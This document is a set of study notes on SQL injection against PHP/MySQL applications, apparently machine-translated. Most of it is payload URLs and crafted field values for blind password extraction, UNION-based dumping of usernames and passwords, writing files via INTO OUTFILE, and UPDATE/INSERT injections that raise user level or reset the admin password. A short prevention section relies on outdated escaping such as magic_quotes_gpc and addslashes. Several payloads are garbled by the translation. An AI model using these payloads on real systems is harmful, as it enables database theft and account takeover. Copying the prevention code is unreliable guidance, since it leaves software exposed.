Php SQL Injection

The focus of SQL injection is to construct SQL statements. Only SQL statements can be used flexibly.
Statement can be used to construct the cou injection string. After completing the course, I wrote some notes and made them ready for use at any time. I hope you have read the following content first.
The basic principle of SQL. The code in the note comes from the network.
=== Basic part ===
This Table query:
Http: // 127.0.0.1/injection/user. php? Username = angel and LENGTH (password) = 6
Http: // 127.0.0.1/injection/user. php? Username = angel and LEFT (password, 1) = m

Union statement:
Http: // 127.0.0.1/injection/show. php? Id = 1 union select 1, username, password from user /*
Http: // 127.0.0.1/injection/show. php? Id = union select 1, username, password from user /*

Export file:
Http: // 127.0.0.1/injection/user. php? Username = angel into outfile c:/file.txt
Http: // 127.0.0.1/injection/user. php? Username = or 1 = 1 into outfile c:/file.txt
Http: // 127.0.0.1/injection/show. php? Id = union select 1, username, password from user into outfile c:/user.txt

INSERT statement:
Insert into 'user' (userid, username, password, homepage, userlevel) VALUES (, $ username, $ password, $ homepage, 1 );
Construct homepage value: http://4ngel.net, 3 ')#
The SQL statement becomes: INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES (, angel, mypass, http://4ngel.net, 3') #, 1 );

UPDATE statement: I like this.
First understand this SQL statement
UPDATE user SET password = MD5 ($ password), homepage = $ homepage WHERE id = $ id
If the SQL statement is modified to the following format, the injection is implemented.
1: Change the homepage value
Http://4ngel.net, userlevel = 3
Then the SQL statement becomes
UPDATE user SET password = mypass, homepage = http://4ngel.net, userlevel = 3 WHERE id =id id
Userlevel: user level
2: change the password value
Mypass) WHERE username = admin #
Then the SQL statement becomes
UPDATE user SET password = MD5 (mypass) WHERE username = admin #), homepage = $ homepage WHERE id = $ id
3: Change the id value
OR username = admin
Then the SQL statement becomes
UPDATE user SET password = MD5 ($ password), homepage = $ homepage WHERE id = OR username = admin

=== Advanced section ===
Common MySQL built-in functions
DATABASE ()
USER ()
SYSTEM_USER ()
SESSION_USER ()
CURRENT_USER ()
Database ()
Version ()
SUBSTRING ()
MID ()
Char ()
Load_file ()
......
Function applications
UPDATE article SET title = DATABASE () WHERE id = 1
Http: // 127.0.0.1/injection/show. php? Id =-1 union select 1, database (), version ()
SELECT * FROM user WHERE username = char (97,110,103,101,108)
# Char (97,110,103,101,108) is equivalent to angel, decimal
Http: // 127.0.0.1/injection/user. php? Userid = 1 and password = char (109,121,112, 97,115,115) http: // 127.0.0.1/injection/user. php? Userid = 1 and LEFT (password, 1)> char (100)
Http: // 127.0.0.1/injection/user. php? Userid = 1 and ord (mid (password, 111)>

Determine the number and type of fields in the Data Structure
Http: // 127.0.0.1/injection/show. php? Id =-1 union select 1, 1
Http: // 127.0.0.1/injection/show. php? Id =-1 union select char (97), char (97), char (97)

Guess data table name
Http: // 127.0.0.1/injection/show. php? Id =-1 union select 1, 1 from members

Obtain the user name and password from a cross-Table query.
Http: // 127.0.0.1/ymdown/show. php? Id = 10000 union select 1, username, 1, password, 1 from ymdown_user where id = 1

Others
# Verify the first Password
Http: // 127.0.0.1/ymdown/show. php? Id = 10 union select, 1 from ymdown_user where id = 1 and ord (mid (password )) = 49

=== Injection prevention ===
Server
Set magic_quotes_gpc to On
Display_errors is set to Off
Encoding
$ Keywords = addslashes ($ keywords );
$ Keywords = str_replace ("_", "\ _", $ keywords );
$ Keywords = str_replace ("%", "\ %", $ keywords );
Value Type
Use intval () to capture and replace
String type
Single quotation marks must be added to SQL statement parameters.
The following code is used to prevent injection.
If (get_magic_quotes_gpc ()){
//....
} Else {
$ Str = mysql_real_escape_string ($ str );
$ Keywords = str_replace ("_", "\ _", $ keywords );
$ Keywords = str_replace ("%", "\ %", $ keywords );
}
Useful functions
Stripslashes ()
Get_magic_quotes_gpc ()
Mysql_real_escape_string ()
Strip_tags ()
Array_map ()
Addslashes ()
References:
Http://www.4ngel.net/article/36.htm (SQL Injection with MySQL) Chinese
Html> http://www.phpe.net/mysql_manual/06-4.html (MYSQL statement reference)